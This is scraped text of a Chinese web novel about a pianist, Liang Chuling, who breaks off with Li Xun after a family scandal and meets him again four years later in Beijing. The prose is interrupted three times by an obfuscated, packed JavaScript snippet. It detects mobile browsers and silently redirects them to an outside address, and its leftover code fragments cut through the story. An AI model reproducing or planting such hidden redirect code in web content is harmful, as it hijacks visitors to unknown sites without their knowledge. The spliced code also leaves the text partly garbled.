;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837086|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧面。 在这篇文章发布后不久,金溪不知通过何种方式,登录了学校的官号,转发了林佳妮的这篇长文。 林佳妮来自过去的温情证言,与金溪撬动当下的官方支持,两股力量一柔一刚,形成共振,与妈女士的采访相互呼应,共同构筑了一道庇护墙。 公众的同情心和对独立女性的赞赏被调动,针对梁初灵个人的指责和窥探,发生了明显的转变。 矛头更加集中的对准梁父。 母女二人的关系从未像此刻这般紧密。 她们不再是需要依附于那个男人的藤蔓,而是彼此依靠共同面对风雨的同盟。 舆论压力和董事会的逼宫,让梁父焦头烂额。 公司股价持续下跌,合作伙伴动摇。 最终,在律师和公关团队的建议下,为了保住公司,他不得不公开道歉,承认自己对家庭失责,并承诺不再以任何形式干扰和打压梁初灵的事业和生活。 梁父仿佛瞬间老了十岁。 他保住了他的公司,但他作为一个商人重信守诺的形象,作为一个父亲舐犊情深的伪装,都已崩塌,再也无法挽回。 周序在家人的强势安排下,登上了飞往国外的航班。 他没有通知任何人,也没有人来得及送行。 关于绑架的调查,因证据不足且当事人精神状态不佳无法提供有效证词,最终不了了之。 但他为此付出的代价是,暂时离开这片他渴望大展拳脚的土地,也必须离开他渴望的梁初灵。他的音乐事业,陷入漫长的冬眠。 而那个女人和孩子,得到了相对妥善的安置,住进了一家私立疗养院,接受心理和生理的治疗。 风暴在梁家、周家双方不约而同的全力扑救下,以极快的速度平息。他们都希望这场丑闻尽快翻篇,因此动用一切资源降温、撤热搜、引导舆论。 资本和权力的共同愿望,有时候比任何公关手段都更有效。 从某种角度看,这倒成了另一意义上的好事。 事态当初发酵得有多快,如今平息的就有多快,仿佛一场来去匆匆的雷阵雨。 而梁初灵的出路在柯蒂斯。 曾经很多人对她选择去柯蒂斯深感不解,认为以她年少成名的地位和才华,再去深造,纯属多此一举,甚至是一种倒退。 但如今这却成了她最好的选择。 一是柯蒂斯等待她多年,古典音乐看重她、需要她。 二是远赴重洋,既是隐士般蛰伏几年,避开国内是非,潜心学习,调整内心创伤。同时,“暂别乐坛,赴美深造”的形象,也更符合大众对一个遭遇家庭巨变却依然积极向上的天才的期待。他们愿意看到一个提升自我的形象,而非一个豪门八卦的主角。 窗外的天空湛蓝如洗,梁初灵看着楼下花园里新发的绿芽,陪着妈女士办理了出院手续。 妈女士揽住她的肩膀:“宝贝,都过去了。” “嗯。” 梁初灵摊开自己的手掌,这双手曾经只为了触碰音符而生,如今感受过碎裂,也曾推动过命运的险恶齿轮。 如今过去了吗?尘埃落定了吗? 那就意味着她获得了力量对吗? 她不再是客体,她是完全的主体了对吗? 收拢手指,握成了一个并不紧实的拳,她还有几件需要在入学前解决掉的事情。 37. 《冥想曲》 费城的天空是一种异域的蓝,李寻却无暇欣赏。 李炽乐团的资金危机总算化解,新的资助方不仅提供充足的资金,还带来了人脉资源。 连日来的奔波焦虑、以及最终尘埃落定的狂喜,像一场高烧,烧得母子二人头晕目眩,等到体温降下,理智回笼,李寻才惊觉,自己忽略了什么重要的事情。 柯蒂斯的录取通知公布了。 李寻后知后觉,晚了两三天才想起去看,最终确认没有他的名字。 意料之外、却也不算非常外,但难免失落。 李寻罕见的焦躁起来,不是因为失败本身,而是因为这个结果,将他与梁初灵原本清晰的轨迹打乱。他立刻想要联系她,又蓦然想起,这段时间他给她的关心实在太少。 他再次后知后觉,他发去的那些关于早晚安的消息,大多只得到零星的回复,梁初灵已经快十天没再给他分享生活。 李寻给梁初灵发微信:有空打语音电话吗? 他觉得这种事情打字实在是说不清楚,他想听听她的声音,也想让她听听自己的声音。 手机安静,梁初灵没有回复。 李寻平复着因落榜和疏于联系而产生的混合情绪,等待的时间变得漫长,他决定处理一下积压的消息。 这段时间,他全身心扑在李炽的事情上,连梁初灵都聊得很少,其他人的信息更是压根没看。 不看不知道,一看吓一跳。 朋友关心的询问,一些群里转发的新闻截图,甚至还有几条不甚熟悉的号码探听消息的短信。 碎片化的信息是一块块拼图,拼凑出一幅他完全陌生的图景。 【梁氏集团董事长婚变风波升级!情妇携子闹市轻生!】 【天才钢琴少女梁初灵身陷家族丑闻!】 【疑为母出头,梁初灵被曝卷入绑架风波?!】 【原配夫人泣血控诉,前情妇反水发声!】 李寻看到了梁初灵母亲接受采访的报道,看到了林佳妮那篇长文,也看到那些恶意揣测和标题党。 懊恼、生气、不解、担忧、后怕……种种情绪沸腾。 信息冲击和情感震荡让他眼前一黑,扶住旁边墙壁才勉强站稳。 -- 与李寻那边的惊涛骇浪相比,梁初灵近期的生活十分平静——或许是因为之前处于情绪高度应激状态——父亲的背叛、母亲的濒死、触碰了道德的灰色地带,目睹她人因自己而崩溃轻生、被全网舆论解剖。 所以当风暴平息,她反而进入了一种平静到诡异的状态。 她吃好睡好,按部就班收拾着行李,为前往柯蒂斯做准备。陪着妈女士和张姨,一点点将物品搬入新房子。 栗子准备最后搬,按照猫的习性,要等新家完全布置好,熟悉了气味再请它移驾,所以它还生活在原先那套房子里。 梁初灵也和林佳妮确认了后续的视频钢琴课,想到自己即将远渡重洋,要通过网络给林佳妮上课,心里有种恍如隔世的感觉,也有一点自己与李炽越发相似的错觉。 这天金溪打电话来,语气有些急,让她务必去家里一趟。 梁初灵去了。金溪连忙把她拉进书房。 书房里变化很大,熟悉的有水母缸和书架,只是书架上的复印件证书不再,换上了那座梁初灵定做的奖杯。 除此之外,还多了一架钢琴——是梁初灵喊人搬过来送给金溪的。 上次来金溪家就发现家里没钢琴,这梁初灵还真是不缺…… 放着也是落灰,送给需要的人更好。 金溪指着水母缸,声音带着难过:“初灵,你看薰薰。” 梁初灵凑近看。 她认领的那只大西洋海刺水母薰薰,此刻失去往日飘逸的姿态,伞盖和触手都缩得非常小,蜷成了一团半透明胶质,在水中缓慢沉浮。 “我爸爸说,看它的状态就这一两天了,它会融化成水,消失不见。所以赶紧喊你来看一看。” 它曾经那么美丽,在水中绽放着如梦境般的光彩。 可再绚烂的生命,也有固定的周期,时间一到,就无声无息地消散,回归到最原始的状态,仿佛从未存在过。 梁初灵看着那只即将走向生命尽头的水母,好荒唐,她们在等待,等待它的死亡。 其实这段时间她都刻意地不去感受自己的心情,不去深想任何事情,情绪在大起大落之后进入不应期。 催生出一种扭曲的独立。 同样,她几乎未想念李寻。 她已没有多余的去进行一段深度情感投入的亲密关系,所以干脆,大脑替她停止了想念。 可是在看到薰薰的这一刻,她想到了李寻。 梁初灵在金溪家呆了两天,就坐在水母缸旁边一直守着,思绪飘得很远,又好像一片空白。 那只水母已经变得更加透明,轮廓难以辨认,像一团果冻。 梁初灵将额头抵在玻璃壁上,在这个时候,她的手机响了。 是李寻的电话,是李寻国内的号码打来的电话。 梁初灵一下站直,他回来了。 正好,她也有话想对他说。 接通电话,果然,李寻声音沙哑:“梁初灵,我在你家门口,你在家吗?我们聊聊。” “我不在家。”梁初灵的声音平静。 “你在哪里?我来找你。”他的语气急切。 梁初灵看着缸中那团透明,不接话,反而将问题抛回:“你有什么事吗?” 她以为他会询问不久前的风波。 然而,李寻沉默了一下,说出的却是:“对不起,柯蒂斯没有录取我。” 梁初灵“啊?”了一声。 李寻像是早已打好腹稿,给出了很多方案,一条条,清晰理智,像在做项目规划:“我可以申请费城其他的学校,课余时间依然可以来找你,陪着你。或者,我明年继续申请,再试一次,你可以等我一年吗?当然,如果你觉得不方便,我也可以……” 他还在列举,用周密计划来弥补失败的缺口,来维系她们之间原本设定的未来。 梁初灵没有听清他后面的话。 她的眼神游在缸中,那只叫做薰薰的大西洋海刺,最后一点轮廓在她眼前消散,它彻底融化成水,与周围的海水再无分别,仿佛从未存在过。 空茫的悲伤击中了她,眼泪毫无征兆掉下来。 这实在难得,因为这段时间她不悲不喜,靠着这层麻木的外壳,得以维持表面的平静,处理各种事,不去感受底下的汹涌。 可这一滴眼泪,砸出千情万绪。 妈女士面对媒体,将一切揽到自己身上,甚至瞒着她,去疗养院看望了那个女人和孩子。 张姨一把年纪了,还跟找到家门口来的黑粉和媒体对骂。 栗子最近总是默默跟在她脚边,用脑袋蹭她,她却很少像以前那样好好抱抱它。 林佳妮对她时不时的关心和安慰,在网上有评论必回。 周序发来的那封邮件,说:“事情因我而起,你别因此否定自己。希望你一切都好。” 金溪每隔几天,就提着她爸爸做的饭菜来梁初灵家送饭。 抱歉、后悔、高兴、幸福、不满、痛苦、悲伤……无数种之前被压抑的情绪此刻如海啸般扑面,几乎将她淹没。 她最先清晰感受到的,是对薰薰死亡的悲伤,紧接着是对李寻有可能问起的那起绑架案的紧张。 她不想从他口中听到任何关于此事的评价,那会让她觉得自己精心维持的姿态瞬间崩塌,露出底下那个可憎的自己。 梁初灵突然觉得自己是一个很糟糕的人。 她利用了周序的偏执,伤害了无辜的女人和孩子,让妈女士和张姨为她担惊受怕,忽略了栗子,拉林佳妮和金溪下水,还改变了李寻的人生。 依赖等于被动,被动等于受害。 李寻的温柔,曾经是她悬崖边的缆绳。 但现在,她觉得自己已经爬上了岸,她偏执地认为,任何形式的牵绊,都可能成为新的软肋,都可能让她再次陷入被动等待和依赖的境地。 她告诉自己,她一个人可以做所有事情,她不需要任何人的慰藉。 李寻和他的爱,是她过去懦弱自我的象征。 只要还和他在一起,她就会永远看到那个需要依赖他人的自己。 她必须斩断他,才能彻底杀死那个软弱的旧我,去向独立的新生。 电话那头,李寻停了下来,没听到任何回复,他有点紧张:“梁初灵?” 梁初灵没有回答,书房的空间不大,挤挤挨挨,导致她靠着水母缸,伸手就能碰到那架钢琴的大字一组,梁初灵的手指无意识摁下了一串音符。 还记得吗? 音乐是一种完全自我的艺术,它依赖于直觉和感性,它无法掩饰一个人的生活方式和思想性格。 在情绪面前,技巧和伪装都会失效,只剩下无可奈何的真诚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841607|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李寻有那样好的鉴赏能力。他轻易从梁初灵那串音符里,听出了沉重的分别。 他想假装没听到,可是做不到,因为梁初灵喜欢他的坦诚,他不可以丢弃她喜欢的品质。 于是他对自己剖心:“梁初灵,你是决定和我分开了,是吗?” 梁初灵停下手指。好奇怪,她竟然还有点诧异:“对。李寻,你去做自己的事情吧,过自己的生活吧,不要再围着我转了。” “……什么意思?” 梁初灵:“你一定听懂了我是什么意思。” “为什么?就因为我没考上柯蒂斯吗?” “对。” “那我们能不能见面说?”李寻无法接受隔着电话就这样被判死刑。 “不能。”梁初灵斩钉截铁,“见面没有意义。” “为什么没有意义?”他追问,“我之前太忙,没有及时关心你,对不起,前段时间,你家里出了那么多事,我看到了那些新闻,我……” “别说了!”梁初灵厉声打断,“那些都过去了。” 对,我是一个绑架者!我不仅绑架了那个孩子,我也绑架了你!我是一个绑架者,你满意了吗?所以我无法面对被我绑架的你。梁初灵仰起头,要把天花板盯穿。 “让我见见你,好吗?” “不好,不好,不好,不好,不好,不好!”她拒绝到力竭。 “为什么就不能见面说?你连见我一面的勇气都没有吗?”李寻第一次如此明显表现出失控的情绪,声音里充满痛苦。 “就是不能,我不想再见到你了。” “就因为我的一次失败,你就要否定我们所有的感情吗? 梁初灵恢复冷静:“你承认你失败了?” 李寻被刺痛:“是,我失败了。真是因为这个?所以我们的感情这么不堪一击吗?” “你说呢?” “你不是这样的人。是还发生了什么我不知道的事情吗?梁初灵,我们见面聊聊好吗?求求你,不要这样拒绝我,我觉得我们之间是不是有没说清的误会?” “那你觉得我应该是怎样的人?”梁初灵不去管他后面的话,仿佛只能听见第一句,“我就是这样的人,我就是这样糟糕,这样武断,这样冷漠,这样残忍。” 李寻不知道如何是好,沉默了一会儿,突然说起别的:“可是我们说好了一起去北极的,我说过的,我会给你最好的爱情,我……” 梁初灵打断他:“你要给我最好的爱情,就是现在,带着你的爱情离开我。” 李寻觉得自己的堤坝被砸穿,洪水滔天,水里浮起不解、委屈、还有愤怒。为什么是这样的结果?为什么连一个当面挽回的机会都不给? “到底为什么?我们为什么不能见面说这件事!为什么?!”李寻的声音在努力藏住,“是因为你觉得我现在配不上你了,让你觉得丢脸了?所以你就要把我一脚踢开是吗?!” 这些话近乎刻薄,李寻从未想过自己会用这样的语气去对待梁初灵。 说出来的一瞬间,先受伤的其实是他自己。 但他太想打破她的冷漠,让她正视他的存在和痛苦。 结果梁初灵根本不说话。 李寻只好继续执拗:“你不见面,那我就一直在你家门口等你。” 梁初灵叹了一口气:“你为什么要这样?” 李寻藏无可藏,哽咽声像子弹上膛:“我不想和你分开……” 梁初灵中弹,闭上眼睛,泪水再次滑落,怎么没人告诉她,就算仰起头眼泪也一样会掉下来啊,“你这样是在伤害我。” 伤害…… 这两个字好重,重到电话两头的人都沉默。 良久李寻才开口,带着茫然:“你在我这里受到伤害了吗?” 梁初灵用尽全身力气回答:“是的。” 李寻像是突然被抽走了所有的力气。 他所有解释,所有计划,所有坚持,在这两个字面前,都显得苍白。 好疲惫,好荒诞,他的眼眶瞬间红了,但他同样倔强仰起头,不让眼泪掉下来。 怎么,就不许他有骄傲吗? 他在心里冷笑,却在心外忍哭。 慢慢地,却又带着决绝:“好,那就这样吧。” 停顿了一下,像在审视自己,语气困惑:“会伤害到你的我,我也不知道还是不是我。我也觉得现在的自己很陌生。” 最后一句轻轻落下:“我怎么会去伤害你呢?” 38. 《水中倒影》 李炽坐在驶往机场的车副驾,车载屏幕上正显示着一条关于古典乐坛的旧闻回顾: 【正如李炽几年前曾指出的那样,古典音乐的潮汐正在东方掀起新的波澜。 最具代表性的佐证,便是被誉为钢琴界奥林匹克的克莱本国际钢琴大赛。该赛事评委由业界绝对权威组成,若一致认为参赛者水准未达到首奖标准,则让首奖空缺,绝不降格以求。 这项桂冠,曾因此空缺了整整五届、也就是整整二十年。 直到四年前,十八岁的华人女钢琴家梁初灵,以她兼具磅礴技术和深邃乐思的演奏,一举打破了这项长达二十年的沉寂,强势折桂。 根据大赛传统,首奖获得者不再拥有参赛资格,但梁初灵在夺冠后,收到了大赛组委会发出的评委邀请。 就在明年,新一届大赛即将启幕,她将成为史上最年轻的评委,也将成为第一位华人评委。 细数近几年的国际顶级钢琴赛事,首奖都被华人钢琴家包揽。她们以无可指摘的技巧和融汇东西方的独特音乐理解,征服了世界各地的评委与观众。 并且,由李炽打造的全华裔法派乐团,在经过初期的挣扎与探索后,也逐渐赢得了挑剔的乐评人和广大乐迷的认可,演出邀约不断,成为了古典乐界一股不可忽视的清新力量。 前有李炽,后有梁初灵,这两位华人女钢琴家是时代的见证者、在场者、推动者。】 李炽看向窗外,北京的天空依旧高远。 但这座城市,以及这座城市里的人和事,都已悄然改变。 她当年的预言,正被时代一步步印证。 华人的面孔,正在古典音乐这片曾经由欧洲主导的领域,占据越来越耀眼的位置。 -- 纽约肯尼迪国际机场,李寻在办理宠物托运手续。 航空箱里,栗子趴着,它已经是一只六岁的大猫,变得安静沉稳。 这个航空箱还是四年前托运它来美国时的那个,同箱同猫同人,一趟航线,两个国度,交换不同的情愫。猫是懵懂猫,人是清晰人。 李寻轻轻拍了拍航空箱,“回家了,栗子。” 他此次回国是因接下了李炽的邀约,担任乐团商业发行影片的导演。 这是一个完整的影视制作项目,李炽看中他三点。 其一,他自己曾经也是钢琴家,深刻理解古典音乐的内在逻辑与美学; 其二,他去年在纽约大学的结课作业,一部声音与影像关系的实验短片,在几个独立电影节上获得了极高评价,也证明了他将抽象乐思转化为视觉语言的潜力; 其三,也是最重要的一点,他是李炽的儿子,她们之间有默契和信任,李炽能放心地将乐团的形象交付于他的镜头。 李炽要为自己的乐团再造一波势,要狠狠拓展古典音乐受众,决定打造一部具有电影叙事感的商业发行影片,于主流媒体平台播出。 这个想法在她脑海中酝酿已久。 传统的唱片和现场录像已无法满足当下的传播需求,她需要一种更具感染力的方式来讲述古典音乐,讲述她的音乐。 “我们需要打破那层玻璃罩。”李炽对李寻说,“古典音乐不该只是音乐厅里正襟危坐的仪式,不该被供奉在神坛上,只被少数自诩高雅的人品评。它里面的激情、挣扎、爱与死,与任何流行文化一样鲜活,一样深刻。” “这部影片,就是要把古典音乐推向更广阔的受众。用电影的语法,让听不懂赋格的人也能感受到节奏的张力,让不明白奏鸣曲式的人也能被一段旋律牵动心肠。要让平时只听流行的人,也愿意发现,古典乐一样能够贴近情绪。” 李寻明白,但还是指出:“我担心这会引来原教旨主义骂你玷污了古典音乐的纯洁性,骂你把阳春白雪变成了下里巴人。” 李炽笑了笑:“你骂得太温柔,应该是会骂我和我的乐团,为了出名,连脸都不要了。” “没关系的,各行各业都有这种例子。觉得门槛低了,他们‘圈内人’的优越感就没了。没关系,我不怕被骂,如果拓展受众意味着要承受指责,那这骂名没什么。” 她要实现自己曾说过的:在古典音乐尚且鲜活的时候,一定要多做点什么,也要尽情地演奏,真诚地表达,然后,平静地看着它走向下一个阶段。 李寻虽然名义上还是大四学生,但早已修满了毕业所需学分,行动自由。 这个机会来得挺巧,他正好也回来看看。 飞机穿越云层,脚下是熟悉的东亚海岸线,李寻看着舷窗外,心情复杂。 四年,他刻意避开了一切与古典音乐相关的接触,他以为自己已经足够平静。 但这次,他要再次揭开一个他回避了许久的世界的幕布。 -- 李炽亲自来机场接他,母子二人许久未见,但也没有过多寒暄,一切尽在不言中。车子驶回李炽在北京的住所,那套都很熟悉的房子。 车子快到门口时,李寻看到一个熟悉的身影正从隔壁的琴房里走出来,是金溪。 李炽按了下喇叭,李寻降下车窗。 “金溪,好久不见。”他打招呼。 金溪闻声转头,看到车窗里李寻的脸,明显吓了一跳,脱口而出:“李寻?你怎么回来了?!” 李寻被她这过激的反应逗乐,笑着揶揄:“你吓什么?我是给乐团拍片的导演,你不知道吗?” 这四五年来,因为金溪加入了李炽的乐团,李寻每次去看望母亲时,总免不了会跟金溪碰上一两面。 两人本质上算是熟人,却又极其陌生—— 她们共同的话题,大概只有李炽或者梁初灵。 而前者,两人不敢多聊,后者,则是两人心照不宣。 于是每次见面,都只剩下关于天气、行程、乐团近况之类的寒暄,然后迅速陷入尴尬。 李寻以为,金溪此刻惊吓,不过是这尴尬关系的又一次体现,外加可能对由他执导这件事感到意外—— 乐手当然不会关心制作团队的人选,直到项目正式启动。 只是,金溪脸上的表情太过精彩,从惊吓到愕然,再到一种“原来如此但根本不是因为这啊”的混乱。 她张了张嘴,最后只化作吐槽:“我勒个去!我还真不知道!” 心里却在呐喊:我又不是因为这个而惊吓!我是因为…… 但她没办法说出口,只能赶紧扯出一个笑容,干巴巴找补:“哈哈,那真是太巧啦!欢迎回来!李导!我还有点急事,先走了哈!等之后工作见!” 说完几乎是落荒而逃。 李寻看着她匆忙的背影,有些莫名,但也没多想,只当是金溪依旧不想继续那惯常的尴尬对话。 李炽停好车,意味深长:“她吓到未必是因为你。” 李寻怔了怔,看向母亲。李炽却已下车,去后备箱取行李了。 出租车上的金溪,心脏还在砰砰跳,拿着手机打打删删,不知道怎么措辞。 她不是惊讶李寻回国,也不是惊讶他是导演——虽然这事她之前确实不知道——也再次佐证了两个人熟也不熟。 金溪惊吓的是,李寻怎么今天回来了!而就在今天,另一个人,也要悄悄回来! 她还在打字呢,对面电话已经打了过来,金溪接起:“喂?初灵!你落地了吗?已经出来了?在哪个出口?好,你就在那里等着,我马上到!对了,跟你说个事……哎呀算了一会儿见面再说。” 挂了电话,金溪感觉像在参与一场特工行动。 这俩人,一个悄无声息回国,一个毫无预兆出现,真是冤家路窄?还是命运弄人? 梁初灵去柯蒂斯的那一年,金溪也正式加入李炽的乐团前往美国。 两个人自然要约见约饭,席间,梁初灵问起:“李寻他最近怎么样了?” 金溪当时就很奇怪:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845986|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我跟他不熟啊,你怎么跑来问我?还有谁比你跟他熟啊?” 梁初灵用非常轻的声音说:“你能帮我看看他朋友圈吗?我跟他已经没联系了,好友也删了。” 金溪这下是真的惊讶:“咋了?你俩分手了?” 梁初灵点点头,又摇摇头,不确定该用什么词定义她们的关系。 分手?可是也并没正式在一起过啊。 梁初灵只说:“我和他已经没有关系了。” 金溪噤声,不再多问。 她点开那个从未聊过天的头像,李寻的朋友圈空空荡荡,只有一条动态,是半年前发的,一张栗子睡觉的照片,配文只有一个猫爪表情。 梁初灵盯着那张照片看了很久,然后再也没提过这个话题。 -- 梁初灵戴着鸭舌帽和口罩,这张脸如今实在是太家喻户晓。 没办法,本人真的太红了,长得也真的太漂亮了——梁初灵甩甩头发,心里已经演完了三台戏。 她今年是毕业后的第一年,所以在刻意压低演出量,全球巡演只一月一场。原本计划周密,但接下来两场在俄罗斯的音乐会,却因升级的地区冲突而被迫取消。 这两场演出,本身就因为复杂的国际关系,能成行已属不易,观众和参与者范围都很有限。 若非发出邀请的是她的那位偶像,她本就不会考虑前往。 因此,演出取消虽然遗憾,但并未引起媒体大范围报道。 知道她提前结束行程悄悄回国的人,除了经纪人团队,也就只有金溪。 她打算利用这段意外的空档,回来陪妈女士过生日,生日是十月十一,还有几天,梁初灵想给妈女士一个惊喜。 机场玻璃窗外,是北京秋日爽朗的天空,阳光利落也冷漠。 金溪一路小跑到她面前,气喘吁吁:“一路顺利吗?累不累?” “还行,就是有点困。”梁初灵的声音透过口罩闷闷的,但能听出笑意,“好久没回来了,感觉空气都不一样。” “那是!北京欢迎你!”金溪笑嘻嘻地一把抓住她的胳膊:“先别聊了!走走走,车在那边!” 一边说,一边还四下张望。 梁初灵被她拽着往前走,忍不住笑:“至于吗你,我又不是什么通缉犯。” “你比通缉犯吓人,通缉犯的照片没你辨识度高!快走快走!” 走了几步去到外面,人流散开后,金溪又憋不住,凑近梁初灵:“我跟你说,李寻今天也回来了!” 梁初灵正看着外面的树—— 这个月份,北京的秋天还没到最好看的时候,但也有一些叶子错峰出行、如今红红黄黄,也有几分看头。 听到金溪的话,费尽心思的叶子一下失去魅力,梁初灵眼睛所见已抵挡不过脑海所得。 身体几不可查僵硬一瞬,却没有立刻回头,只嗯了一声。 金溪见她反应平淡,更是着急:“他说他是回来给我们乐团拍电影的!他现在是导演啦?” 这下梁初灵终于转过头,帽檐下的眼睛里是诧异:“你们乐团要拍电影?”她一下子就明白李炽想干什么,但也腹诽这得挨多大的骂。问完这个问题,才在金溪鼓励的眼睛里,问出她想听到的那一问,“李寻当导演了?” 金溪的头点得像小鸡啄米:“千真万确,他自己亲口说的,李炽老师邀请的!” 她看着梁初灵复杂起来的神色,忧心忡忡叮嘱,“所以这段时间,你别主动来找我玩了,我怕你俩碰上了,那多尴尬。” 梁初灵点了点头:“明白的。” 金溪自觉已经把惊天秘密跟好友同步完毕,剩下的就是关心:“差点忘了问,你这次俄罗斯的音乐会虽然被取消,但热度居然逆涨,伊凡昨晚的演出加了一首情歌,说弹给那位没能踏上这片土地的东方爱人。评论区炸了,都在艾特你!” “你俩官宣之后就没同框过了吧?” 39. 《小步舞曲Op.18 李寻几乎没有喘息的时间,行李刚放下,就被李炽拉进书房,直接进入工作状态。 “时间紧任务重,你发来的剧本我看了。”李炽开门见山,“我们先来明确几个核心流程。” 李寻点头,切换到导演模式。 接下来的几个小时,她们与乐团的经纪负责人进行视频连线,讨论已拟定的剧本大纲,和更多落地内容,确定总的拍摄天数、精确到每一天的拍摄内容,这需要协调乐团近百位乐手、指挥以及行政人员的日程,是一个巨大的调度工程。 李炽想要的不是简单的演出录像拼接。 她希望影片有灵魂,有故事。 初步确定了几条线索: 乐团成长史,从创立到如今的艰辛与荣耀; 核心成员聚焦,比如指挥的艺术追求,几位首席乐手的个人故事,其中也包括金溪; 一部重要作品的诞生记,从第一次排练到最终舞台呈现的全过程; 李炽本人的艺术理念与野心。 那么除了乐团的排练厅、演奏厅,还需要许多外景,既然是华人乐团,里面挺多成员都在音乐学院呆过,得去学校勘景。还需要拍摄乐手的日常生活。为了节省成本,以及档期问题,音乐厅的录制决定使用某一场现有演出。 李寻需要根据拍摄需求,确定团队成员名单和设备清单。尤其是录音。 经纪负责人拿着预算表,一项项与李寻核对。每一笔钱都要花在刀刃上。还需要所有出镜乐手签署肖像权授权书,与音乐厅、合作方等签订拍摄许可协议。 会议结束时,已是华灯初上。 李炽看着终于在新环境里放松下来,趴在猫爬架上打着小呼噜的栗子,拿出手机,录了段视频,又拍了几张照,一起发给梁初灵。 这四五年来,李炽大概每个月都会给梁初灵发一次栗子的近况。 这个习惯,始于李寻的恳求—— 恳求李炽将照片转给梁初灵。 李炽得知两个孩子掰了的时候,并无太大波澜,缘聚缘散么。 但当她得知李寻在两人掰了后,去梁初灵家把猫偷走了时,还是大为震撼,呃呃啊啊了半天,一点没看出来自己儿子居然是能干出这种事的人。 如今看出来了,她也就很快接受了…… 所以应承下来李寻的请求。 而梁初灵那边,似乎也接受得很快—— 尽管她当初一气之下拉黑李寻所有的社媒,直接导火索就是李寻偷猫不还。 李炽选中视频和照片给梁初灵发了过去,犹豫了一下,还是补了一句:李寻回国了。 她是干这一行的,朋友圈里一大堆世界各地的演出经纪和剧场经理,自然早就知道梁初灵后续两场俄罗斯巡演因故取消的事情。 结合今天金溪在门口惊慌失措的反应,她几乎可以肯定,梁初灵也回来了。 一码归一码。梁初灵是她的学生,心性她也了解。 且在李炽乐团刚起步最艰难的时候,是梁初灵主动联系李炽,与乐团合作了两次音乐会,实实在在拉高了乐团的知名度,后来还介绍了不少资源和优秀的年轻乐手过来。 这是一个很念旧情的小孩,于公于私,李炽都觉得应该告知一声。 -- 梁初灵回家后,陪着妈女士和张姨住了几天,给妈女士庆祝了生日,享受着久违的家庭温暖。 妈女士身体调养得不错,张姨也精神头很好。 梁初灵已经两年多没回家。 妈女士自不必说对孩子的思念。 张姨单身无子女,在梁初灵读幼儿园时就来家里负责照顾,从没这么长时间没见着梁初灵过。 看到小孩突然出现,还不敢置信。 先是把门开开关关好几次,愣是没让进,以为自己在做梦,确定不是梦以后,没忍住抱着梁初灵先掉了一波眼泪。 掉完还叮嘱,进家门后可不能再哭,梁初灵点点头。 结果进了家门,妈女士一嚎,张姨又泪如雨下,一边哭一边去给梁初灵炖肉吃。 饭桌上,梁初灵时差没倒过来,胃口一般。张姨又掉眼泪……说孩子以前都是一盆一盆吃肉的,现在怎么吃不了几口就不吃了,这是饿苦了!梁初灵尴尬地又吃了几口,连连保证第二天一定大吃特吃。 妈女士容光焕发,悄悄跟女儿分享爱情的喜悦,还给她看对方的照片。 照片上是一位看起来很面善的叔叔。在那张照片里,叔叔身后的书桌上,还摆着一个相框,相框里是一张穿着消防队服的照片。 梁初灵笑着打趣这是套娃。 休息几天后,梁初灵去了央音附中。 林佳妮如今在这里任教,这份工作很适合她,耐心、细致,实力也过关,她自己也努力,在学校里很受学生欢迎。 梁初灵当初只是顺手推舟介绍了机会,能站稳脚跟靠林佳妮自己。 两人在学校里聊了会儿近况,林佳妮也实在好奇梁初灵和伊凡的恋情,林佳妮曾因男人而栽了个大跟头,也就对男人大肆表演出的爱意格外敏感。 她不同于金溪和妈女士早就知道真相—— 一是二人不常聊天,二是聊起来也不会聊这些。 但既然见了面,林佳妮还是问及此事,也不免表露出担心, 梁初灵笑盈盈,跟林佳妮解释始末。 伊凡是梁初灵那位偶像叶莲娜的儿子。 梁初灵大三那年,伊凡的团队开始瞄准国际主流市场,准备签约顶级唱片公司。 然而他是个同性恋。 古典音乐圈的‘古典’这一名号,有时代表的是封建。 公开性取向在保守势力眼中,可能被视为有商业风险。 这个难题最后被伊凡丢给了母亲。 叶莲娜万般无奈之下联系了梁初灵,希望梁初灵能“帮帮伊凡”,希望她能以女友身份,与伊凡进行一段时间的公开互动,塑造金童玉女的形象,为伊凡的签约和宣传铺平道路。 叶莲娜对梁初灵有过提携的恩情,何况,对方是以长辈的请求姿态提出。 考虑到古典音乐圈生态的现实、出于对偶像的复杂情谊,梁初灵最终答应。 于是,近三年多来,“梁初灵与俄罗斯钢琴王子伊凡坠入爱河”成了古典音乐圈津津乐道的跨国佳话。 梁初灵不必有那些‘钢琴女神’‘钢琴天才’之类的前缀,她的名字就是最好的形容词。 